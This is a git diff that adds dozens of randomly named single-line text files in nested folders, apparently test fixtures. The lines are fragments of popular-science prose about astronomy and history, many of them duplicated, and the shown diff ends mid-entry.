diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_cswptnzkisfb.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_cswptnzkisfb.txt
new file mode 100644
index 0000000..e1da97f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_cswptnzkisfb.txt
@@ -0,0 +1 @@
+Mediterranean that African, Asian, and European civilizations, including the great cultures
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_fiphpaoso.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_fiphpaoso.txt
new file mode 100644
index 0000000..e1da97f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_fiphpaoso.txt
@@ -0,0 +1 @@
+Mediterranean that African, Asian, and European civilizations, including the great cultures
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_hhhwbjxrczuhtkyycwsu.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_hhhwbjxrczuhtkyycwsu.txt
new file mode 100644
index 0000000..e1da97f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_hhhwbjxrczuhtkyycwsu.txt
@@ -0,0 +1 @@
+Mediterranean that African, Asian, and European civilizations, including the great cultures
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_hirrysnbfwbutjnesnkkt.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_hirrysnbfwbutjnesnkkt.txt
new file mode 100644
index 0000000..e1da97f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_hirrysnbfwbutjnesnkkt.txt
@@ -0,0 +1 @@
+Mediterranean that African, Asian, and European civilizations, including the great cultures
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_jffpzvozpoa.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_jffpzvozpoa.txt
new file mode 100644
index 0000000..e1da97f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_jffpzvozpoa.txt
@@ -0,0 +1 @@
+Mediterranean that African, Asian, and European civilizations, including the great cultures
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_kghmdxlhmzoenqmozvfegx.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_kghmdxlhmzoenqmozvfegx.txt
new file mode 100644
index 0000000..e1da97f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_kghmdxlhmzoenqmozvfegx.txt
@@ -0,0 +1 @@
+Mediterranean that African, Asian, and European civilizations, including the great cultures
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_mngmsnxzlysgnmudm.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_mngmsnxzlysgnmudm.txt
new file mode 100644
index 0000000..e1da97f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_mngmsnxzlysgnmudm.txt
@@ -0,0 +1 @@
+Mediterranean that African, Asian, and European civilizations, including the great cultures
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_mvxvmbbuouskbdyzaqo.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_mvxvmbbuouskbdyzaqo.txt
new file mode 100644
index 0000000..e1da97f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_mvxvmbbuouskbdyzaqo.txt
@@ -0,0 +1 @@
+Mediterranean that African, Asian, and European civilizations, including the great cultures
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_mywqahlyhsbwgon.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_mywqahlyhsbwgon.txt
new file mode 100644
index 0000000..e1da97f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_mywqahlyhsbwgon.txt
@@ -0,0 +1 @@
+Mediterranean that African, Asian, and European civilizations, including the great cultures
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_nxaqtfjlgykkvcnmzggidbop.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_nxaqtfjlgykkvcnmzggidbop.txt
new file mode 100644
index 0000000..e1da97f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_nxaqtfjlgykkvcnmzggidbop.txt
@@ -0,0 +1 @@
+Mediterranean that African, Asian, and European civilizations, including the great cultures
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_nxwshbbrovmmx.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_nxwshbbrovmmx.txt
new file mode 100644
index 0000000..e1da97f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_nxwshbbrovmmx.txt
@@ -0,0 +1 @@
+Mediterranean that African, Asian, and European civilizations, including the great cultures
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_otoghrktsamqrphpelf.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_otoghrktsamqrphpelf.txt
new file mode 100644
index 0000000..e1da97f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_otoghrktsamqrphpelf.txt
@@ -0,0 +1 @@
+Mediterranean that African, Asian, and European civilizations, including the great cultures
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_pnbrxumiqfsqnnpj.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_pnbrxumiqfsqnnpj.txt
new file mode 100644
index 0000000..e1da97f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_pnbrxumiqfsqnnpj.txt
@@ -0,0 +1 @@
+Mediterranean that African, Asian, and European civilizations, including the great cultures
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_qoqlfochavhfrqiwmn.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_qoqlfochavhfrqiwmn.txt
new file mode 100644
index 0000000..e1da97f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_qoqlfochavhfrqiwmn.txt
@@ -0,0 +1 @@
+Mediterranean that African, Asian, and European civilizations, including the great cultures
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_qysvwubsgwemgswxiedqvwcx.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_qysvwubsgwemgswxiedqvwcx.txt
new file mode 100644
index 0000000..e1da97f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_qysvwubsgwemgswxiedqvwcx.txt
@@ -0,0 +1 @@
+Mediterranean that African, Asian, and European civilizations, including the great cultures
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_rppdmmvoyqx.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_rppdmmvoyqx.txt
new file mode 100644
index 0000000..e1da97f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_rppdmmvoyqx.txt
@@ -0,0 +1 @@
+Mediterranean that African, Asian, and European civilizations, including the great cultures
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_vdwycwqmqb.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_vdwycwqmqb.txt
new file mode 100644
index 0000000..e1da97f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_vdwycwqmqb.txt
@@ -0,0 +1 @@
+Mediterranean that African, Asian, and European civilizations, including the great cultures
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_vroqvlsurtzfaxdnak.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_vroqvlsurtzfaxdnak.txt
new file mode 100644
index 0000000..e1da97f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_vroqvlsurtzfaxdnak.txt
@@ -0,0 +1 @@
+Mediterranean that African, Asian, and European civilizations, including the great cultures
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_wlphjskflji.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_wlphjskflji.txt
new file mode 100644
index 0000000..e1da97f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_wlphjskflji.txt
@@ -0,0 +1 @@
+Mediterranean that African, Asian, and European civilizations, including the great cultures
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_wzcqbezysfiezen.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_wzcqbezysfiezen.txt
new file mode 100644
index 0000000..e1da97f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_wzcqbezysfiezen.txt
@@ -0,0 +1 @@
+Mediterranean that African, Asian, and European civilizations, including the great cultures
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_xrkizqmxkiadmamlezhna.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_xrkizqmxkiadmamlezhna.txt
new file mode 100644
index 0000000..e1da97f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_xrkizqmxkiadmamlezhna.txt
@@ -0,0 +1 @@
+Mediterranean that African, Asian, and European civilizations, including the great cultures
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_yrizukmugwiunafnleuyz.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_yrizukmugwiunafnleuyz.txt
new file mode 100644
index 0000000..e1da97f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_yrizukmugwiunafnleuyz.txt
@@ -0,0 +1 @@
+Mediterranean that African, Asian, and European civilizations, including the great cultures
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_zvbeyugp.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_zvbeyugp.txt
new file mode 100644
index 0000000..e1da97f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/file_zvbeyugp.txt
@@ -0,0 +1 @@
+Mediterranean that African, Asian, and European civilizations, including the great cultures
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/fpqzxhhosmpb.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/fpqzxhhosmpb.txt
new file mode 100644
index 0000000..7be0c04
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/fpqzxhhosmpb.txt
@@ -0,0 +1 @@
+into another. He believed in an infinite number of worlds, all inhabited, and all subject to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/giejwgivkxdr.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/giejwgivkxdr.txt
new file mode 100644
index 0000000..115b76d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/giejwgivkxdr.txt
@@ -0,0 +1 @@
+and metal, shining feebly by reflected sunlight, and at this distance utterly lost.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/htydxpklhfgnbvboeq.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/htydxpklhfgnbvboeq.txt
new file mode 100644
index 0000000..8d77a5d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/htydxpklhfgnbvboeq.txt
@@ -0,0 +1 @@
+eastward extension of Asia he could find in all the books available to him, and then
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/izauaodjwposu.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/izauaodjwposu.txt
new file mode 100644
index 0000000..dc0f2bd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/izauaodjwposu.txt
@@ -0,0 +1 @@
+column on astronomy. There are ten times more astrologers in the United States than
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/kvrzeynwrpib.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/kvrzeynwrpib.txt
new file mode 100644
index 0000000..9b8f16b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/kvrzeynwrpib.txt
@@ -0,0 +1 @@
+smells of rotten eggs and looks like a pizza pie, with lakes of molten sulfur and volcanic
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/llmphrqc.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/llmphrqc.txt
new file mode 100644
index 0000000..4b2be2b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/llmphrqc.txt
@@ -0,0 +1 @@
+gazelle. We hunt with the bear. There is a bond between us and the animals. We hunt and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/majhukvenrbsqczpkt.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/majhukvenrbsqczpkt.txt
new file mode 100644
index 0000000..a18f8b7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/majhukvenrbsqczpkt.txt
@@ -0,0 +1 @@
+In throwing it back, they set in motion an evolutionary process: If you are a crab and your
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/nzkxpnfpyhuhciskhplalkz.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/nzkxpnfpyhuhciskhplalkz.txt
new file mode 100644
index 0000000..7269cd8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/nzkxpnfpyhuhciskhplalkz.txt
@@ -0,0 +1 @@
+have not now any Drake or Columbus to undertake this voyage, or any Daedalus to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/pwpwptjtfcpnvem.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/pwpwptjtfcpnvem.txt
new file mode 100644
index 0000000..3aaa22a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/pwpwptjtfcpnvem.txt
@@ -0,0 +1 @@
+reflectors. When a laser beam from Earth strikes the mirror and bounces back, the round-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/qgpgrrcuwdfxvqwexerwe.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/qgpgrrcuwdfxvqwexerwe.txt
new file mode 100644
index 0000000..fd5fd45
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/qgpgrrcuwdfxvqwexerwe.txt
@@ -0,0 +1 @@
+universe. But more recent observations by Ricardo Giacconi may have resolved the X-ray
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/rkdujtparaban.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/rkdujtparaban.txt
new file mode 100644
index 0000000..5c059d0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/rkdujtparaban.txt
@@ -0,0 +1 @@
+may withstand erosion on the Moon, the rays, being exceptionally thin, do not. As time
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/rywlrbvsxmb.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/rywlrbvsxmb.txt
new file mode 100644
index 0000000..f147b8e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/rywlrbvsxmb.txt
@@ -0,0 +1 @@
+assumed the form of a raven, a bird which had freed the Sun, the Moon, and the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/tbwsrpsh.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/tbwsrpsh.txt
new file mode 100644
index 0000000..8410cf3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/tbwsrpsh.txt
@@ -0,0 +1 @@
+such figure; it is a little depressing to find our bodies valued so little. However, these
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/tfblycruqaoeiugah.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/tfblycruqaoeiugah.txt
new file mode 100644
index 0000000..343571e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/tfblycruqaoeiugah.txt
@@ -0,0 +1 @@
+‘What are clouds made of?’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/uoywysrqupsnblwae.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/uoywysrqupsnblwae.txt
new file mode 100644
index 0000000..735bfc3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/uoywysrqupsnblwae.txt
@@ -0,0 +1 @@
+there is no reason to expect it to resemble familiar organisms. Consider the enormous
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/viawalnljmfwyiovhrjcud.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/viawalnljmfwyiovhrjcud.txt
new file mode 100644
index 0000000..72cca95
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/viawalnljmfwyiovhrjcud.txt
@@ -0,0 +1 @@
+Mars, a planet rather like the Earth, we must understand why - because in that case, as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/vshtrqrxdmjbcts.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/vshtrqrxdmjbcts.txt
new file mode 100644
index 0000000..17193f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/vshtrqrxdmjbcts.txt
@@ -0,0 +1 @@
+green discs of Uranus and Neptune.) They appear as rings, but only because, as with soap
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/vyjqrtkvtcxyk.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/vyjqrtkvtcxyk.txt
new file mode 100644
index 0000000..f56026b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/vyjqrtkvtcxyk.txt
@@ -0,0 +1 @@
+But not where and when we looked.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/wklvztpnlthalnrsd.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/wklvztpnlthalnrsd.txt
new file mode 100644
index 0000000..230af0c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/wklvztpnlthalnrsd.txt
@@ -0,0 +1 @@
+findp 2 = (2s) 2 = 4s 2 = 2q 2
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/yhcscfqoxthhuigeezd.txt b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/yhcscfqoxthhuigeezd.txt
new file mode 100644
index 0000000..0adc9a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qitlpxqeli/folder_nutxcfhiok/yhcscfqoxthhuigeezd.txt
@@ -0,0 +1 @@
+And the canals had created the morass,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/file_auhydizpymbmnabytihu.txt b/big_zip/big-zip-files/folder_qsvuebxszi/file_auhydizpymbmnabytihu.txt
new file mode 100644
index 0000000..cd225f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/file_auhydizpymbmnabytihu.txt
@@ -0,0 +1 @@
+Only once before in our history was there the promise of a brilliant scientific civilization.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/file_csltzbee.txt b/big_zip/big-zip-files/folder_qsvuebxszi/file_csltzbee.txt
new file mode 100644
index 0000000..cd225f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/file_csltzbee.txt
@@ -0,0 +1 @@
+Only once before in our history was there the promise of a brilliant scientific civilization.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/file_efyspyuxebi.txt b/big_zip/big-zip-files/folder_qsvuebxszi/file_efyspyuxebi.txt
new file mode 100644
index 0000000..cd225f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/file_efyspyuxebi.txt
@@ -0,0 +1 @@
+Only once before in our history was there the promise of a brilliant scientific civilization.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/file_evisduzkpb.txt b/big_zip/big-zip-files/folder_qsvuebxszi/file_evisduzkpb.txt
new file mode 100644
index 0000000..cd225f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/file_evisduzkpb.txt
@@ -0,0 +1 @@
+Only once before in our history was there the promise of a brilliant scientific civilization.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/file_ggbowoyxzuvxpgilcqifczt.txt b/big_zip/big-zip-files/folder_qsvuebxszi/file_ggbowoyxzuvxpgilcqifczt.txt
new file mode 100644
index 0000000..cd225f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/file_ggbowoyxzuvxpgilcqifczt.txt
@@ -0,0 +1 @@
+Only once before in our history was there the promise of a brilliant scientific civilization.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/file_gkmcidbtgogznoxpzejh.txt b/big_zip/big-zip-files/folder_qsvuebxszi/file_gkmcidbtgogznoxpzejh.txt
new file mode 100644
index 0000000..cd225f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/file_gkmcidbtgogznoxpzejh.txt
@@ -0,0 +1 @@
+Only once before in our history was there the promise of a brilliant scientific civilization.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/file_jgiqjrekstm.txt b/big_zip/big-zip-files/folder_qsvuebxszi/file_jgiqjrekstm.txt
new file mode 100644
index 0000000..cd225f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/file_jgiqjrekstm.txt
@@ -0,0 +1 @@
+Only once before in our history was there the promise of a brilliant scientific civilization.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/file_jvwxwkvtcskrtobyhaaoqpkq.txt b/big_zip/big-zip-files/folder_qsvuebxszi/file_jvwxwkvtcskrtobyhaaoqpkq.txt
new file mode 100644
index 0000000..cd225f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/file_jvwxwkvtcskrtobyhaaoqpkq.txt
@@ -0,0 +1 @@
+Only once before in our history was there the promise of a brilliant scientific civilization.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/file_nwwglwzkyswyphsgdwzqwk.txt b/big_zip/big-zip-files/folder_qsvuebxszi/file_nwwglwzkyswyphsgdwzqwk.txt
new file mode 100644
index 0000000..cd225f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/file_nwwglwzkyswyphsgdwzqwk.txt
@@ -0,0 +1 @@
+Only once before in our history was there the promise of a brilliant scientific civilization.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/file_oxeidcxebehtklrlzsctk.txt b/big_zip/big-zip-files/folder_qsvuebxszi/file_oxeidcxebehtklrlzsctk.txt
new file mode 100644
index 0000000..cd225f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/file_oxeidcxebehtklrlzsctk.txt
@@ -0,0 +1 @@
+Only once before in our history was there the promise of a brilliant scientific civilization.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/file_qabpksxstyphwktdoe.txt b/big_zip/big-zip-files/folder_qsvuebxszi/file_qabpksxstyphwktdoe.txt
new file mode 100644
index 0000000..cd225f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/file_qabpksxstyphwktdoe.txt
@@ -0,0 +1 @@
+Only once before in our history was there the promise of a brilliant scientific civilization.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/file_tlggrbhixuxdzfvtedrbcqc.txt b/big_zip/big-zip-files/folder_qsvuebxszi/file_tlggrbhixuxdzfvtedrbcqc.txt
new file mode 100644
index 0000000..cd225f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/file_tlggrbhixuxdzfvtedrbcqc.txt
@@ -0,0 +1 @@
+Only once before in our history was there the promise of a brilliant scientific civilization.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/file_unhcwkyxuzkjceliqxfxdd.txt b/big_zip/big-zip-files/folder_qsvuebxszi/file_unhcwkyxuzkjceliqxfxdd.txt
new file mode 100644
index 0000000..cd225f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/file_unhcwkyxuzkjceliqxfxdd.txt
@@ -0,0 +1 @@
+Only once before in our history was there the promise of a brilliant scientific civilization.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/file_vjorgfmfhcyzjd.txt b/big_zip/big-zip-files/folder_qsvuebxszi/file_vjorgfmfhcyzjd.txt
new file mode 100644
index 0000000..cd225f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/file_vjorgfmfhcyzjd.txt
@@ -0,0 +1 @@
+Only once before in our history was there the promise of a brilliant scientific civilization.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_amvgobfenfehqecnwxiptk.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_amvgobfenfehqecnwxiptk.txt
new file mode 100644
index 0000000..c9144cc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_amvgobfenfehqecnwxiptk.txt
@@ -0,0 +1 @@
+radio to an intelligence much greater than itself.* There may be planets where the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_aymkvqmtvqwle.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_aymkvqmtvqwle.txt
new file mode 100644
index 0000000..c9144cc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_aymkvqmtvqwle.txt
@@ -0,0 +1 @@
+radio to an intelligence much greater than itself.* There may be planets where the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_brfvfisrqrdhgl.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_brfvfisrqrdhgl.txt
new file mode 100644
index 0000000..c9144cc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_brfvfisrqrdhgl.txt
@@ -0,0 +1 @@
+radio to an intelligence much greater than itself.* There may be planets where the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_ffyhnewrxchcfdty.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_ffyhnewrxchcfdty.txt
new file mode 100644
index 0000000..c9144cc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_ffyhnewrxchcfdty.txt
